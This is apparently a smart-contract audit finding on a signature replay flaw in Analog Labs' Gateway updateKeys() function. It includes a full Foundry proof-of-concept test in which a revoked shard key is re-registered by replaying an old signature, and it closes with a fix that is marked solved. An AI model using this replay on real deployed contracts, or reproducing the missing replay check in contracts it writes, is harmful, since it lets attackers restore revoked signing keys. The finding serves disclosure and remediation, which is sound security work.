Gateway - Analog Labs

In the Gateway contract, the updateKeys() function is used to register shard public keys that then can be used to sign and send GMP messages:

function updateKeys(Signature calldata signature, UpdateKeysMessage memory message) public {
    bytes32 messageHash = message.eip712TypedHash(DOMAIN_SEPARATOR);
    _verifySignature(signature, messageHash);

    // Register shards pubkeys
    _updateKeys(messageHash, message.revoke, message.register);
}

/**
 * Execute GMP message
 * @param signature Schnorr signature
 * @param message GMP message
 */
function execute(Signature calldata signature, GmpMessage calldata message)
    external
    returns (GmpStatus status, bytes32 result)
{
    // Theoretically we could remove the destination network field
    // and fill it up with the network id of the contract, then the signature will fail.
    require(message.destNetwork == NETWORK_ID, "invalid gmp network");
    require(_networks[message.srcNetwork] != bytes32(0), "source network no supported");

    // Verify the signature
    (bytes32 messageHash, bytes memory data) = message.encodeCallback(DOMAIN_SEPARATOR);
    _verifySignature(signature, messageHash); // <-------------------
	...
}

function _verifySignature(Signature calldata signature, bytes32 message) private view {
    // Load shard from storage
    KeyInfo storage signer = _shards[bytes32(signature.xCoord)];

    // Verify if shard is active
    uint8 status = signer.status;
    require((status & SHARD_ACTIVE) > 0, "shard key revoked or not exists"); // <-------------------

    // Load y parity bit, it must be 27 (even), or 28 (odd)
    // ref: https://ethereum.github.io/yellowpaper/paper.pdf
    uint8 yParity = uint8(BranchlessMath.select((status & SHARD_Y_PARITY) > 0, 28, 27));

    // Verify Signature
    require(
        Schnorr.verify(yParity, signature.xCoord, uint256(message), signature.e, signature.s),
        "invalid tss signature"
    );
}

However, under the current implementation, the signature passed as parameter to the updateKeys() function can be replayed:

1. Key "1337" is registered with signature1.

2. Key "1337" is revoked with signature2.

3. Any user can reuse signature1 to re-register the key "1337" as a valid key.

Foundry POC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/** 
Run this test with:
forge test -vvvvv --match-contract Deploy --match-test test_setUp
forge test -vvvv --match-contract Deploy --match-test test_1
    - Signatures can be reused in updateKeys() function
*/
import "forge-std/Test.sol";
import "../src/Gateway.sol";
import "../src/Primitives.sol";
import "../src/GatewayProxy.sol";
import "../lib/frost-evm/sol/Schnorr.sol";
import "../lib/frost-evm/sol/Signer.sol";
contract Deploy is Test {
    using PrimitiveUtils for GmpMessage;
    using PrimitiveUtils for UpdateKeysMessage;
    Gateway public contract_Gateway;
    Gateway public contract_GatewayImplementation;
    address public owner = vm.addr(100);
    address public user1 = vm.addr(101);
    address public user2 = vm.addr(102);
    address public user3 = vm.addr(103);
    address public user4 = vm.addr(104);
    address public user5 = vm.addr(105);
    address public user6 = vm.addr(106);
    address public user7 = vm.addr(107);
    address public user8 = vm.addr(108);
    address public user9 = vm.addr(109);
    address public user10 = vm.addr(110);
    Signature signatureStored;
    function setUp() public {
        _deployAll();
    }
    function test_setUp() public view {
        console.log("test_setUp()");
        console.log("____________________________________");
        console.log("contract_GatewayImplementation -> %s", address(contract_GatewayImplementation));
        console.log("contract_Gateway -> %s", address(contract_Gateway));
    }
    function _deployAll() internal {
        console.log("_deployAll()");
        vm.startPrank(owner, owner);
        // 1 - Deploy the implementation contract
        address proxyAddr = vm.computeCreateAddress(owner, vm.getNonce(owner) + 2);
        contract_GatewayImplementation = new Gateway(2, proxyAddr);
        // 2 - Deploy the Proxy Contract
        Signer signer = new Signer(1337);
        TssKey[] memory keys = new TssKey[](1);
        keys[0] = TssKey({yParity: signer.yParity() == 28 ? 1 : 0, xCoord: signer.xCoord()});
        Network[] memory networks = new Network[](2);
        networks[0].id = 1; // sepolia network id
        networks[0].gateway = proxyAddr; // sepolia proxy address
        networks[1].id = 2; // shibuya network id
        networks[1].gateway = proxyAddr; // shibuya proxy address
        bytes memory initializer = abi.encodeCall(Gateway.initialize, (msg.sender, keys, networks));
        contract_Gateway = Gateway(address(new GatewayProxy(address(contract_GatewayImplementation), initializer)));
        vm.stopPrank();
    }
    function test_1() public {
        console.log(StdStyle.yellow("\n\ntest_1()"));
        console.log(StdStyle.yellow("__________________________\n"));
        /*
            function updateKeys(Signature memory signature, UpdateKeysMessage memory message)
            struct Signature {
                uint256 xCoord; // public key x coordinates, y-parity is stored in the contract
                uint256 e; // Schnorr signature e parameter
                uint256 s; // Schnorr signature s parameter
            }
            struct UpdateKeysMessage {
                TssKey[] revoke; // Keys to revoke
                TssKey[] register; // Keys to add
            }
        */
        {
            TssKey[] memory revoke = new TssKey[](0);
            TssKey[] memory register = new TssKey[](1);
            Signer signerCurrent = new Signer(1337);
            Signer signerToAdd = new Signer(1338);
            register[0].yParity = signerToAdd.yParity() == 28 ? 1 : 0;
            register[0].xCoord = signerToAdd.xCoord();
            UpdateKeysMessage memory message;
            message.revoke = revoke;
            message.register = register;
            vm.startPrank(owner, owner);
            Signature memory signature;
            uint256 hash = uint256(message.eip712TypedHash(contract_Gateway.DOMAIN_SEPARATOR()));
            // uint256 hash = uint256(keccak256(contract_Gateway.getUpdateKeysTypedHash(message)));
            (uint256 e, uint256 s) = signerCurrent.signPrehashed(hash, 1); // nonce = 1;
            signature.xCoord = signerCurrent.xCoord();
            signature.e = e;
            signature.s = s;
            // Add 1338
            console.log(StdStyle.yellow("\nOWNER(%s) calls < contract_Gateway.updateKeys(signature, message) >"), owner);
            contract_Gateway.updateKeys(signature, message);
            signatureStored = signature;
        }
        {
            TssKey[] memory revoke = new TssKey[](1);
            TssKey[] memory register = new TssKey[](0);
            Signer signerCurrent = new Signer(1337);
            Signer signerToRevoke = new Signer(1338);
            revoke[0].yParity = signerToRevoke.yParity() == 28 ? 1 : 0;
            revoke[0].xCoord = signerToRevoke.xCoord();
            UpdateKeysMessage memory message;
            message.revoke = revoke;
            message.register = register;
            vm.startPrank(owner, owner);
            Signature memory signature;
            uint256 hash = uint256(message.eip712TypedHash(contract_Gateway.DOMAIN_SEPARATOR()));
            (uint256 e, uint256 s) = signerCurrent.signPrehashed(hash, 1); // nonce = 1;
            signature.xCoord = signerCurrent.xCoord();
            signature.e = e;
            signature.s = s;
            // Revoke 1338
            console.log(StdStyle.yellow("\nOWNER(%s) calls < contract_Gateway.updateKeys(signature, message) >"), owner);
            contract_Gateway.updateKeys(signature, message);
        }
        vm.stopPrank();
        vm.startPrank(user1, user1);
        {
            // Reuse signature
            TssKey[] memory revoke = new TssKey[](0);
            TssKey[] memory register = new TssKey[](1);
            Signer signerToAdd = new Signer(1338);
            register[0].yParity = signerToAdd.yParity() == 28 ? 1 : 0;
            register[0].xCoord = signerToAdd.xCoord();
            UpdateKeysMessage memory message;
            message.revoke = revoke;
            message.register = register;
            console.log(StdStyle.yellow("\nUSER1(%s) calls < contract_Gateway.updateKeys(signature, message) >"), user1);
            contract_Gateway.updateKeys(signatureStored, message);
        }
        vm.stopPrank();
    }
}

Consider hashing the signature struct, marking it as used once used, and adding a require check to the updateKeys() function that does not allow using an already used signature.

Remediation Plan

SOLVED: The Analog Labs team solved the issue by implementing the recommended solution.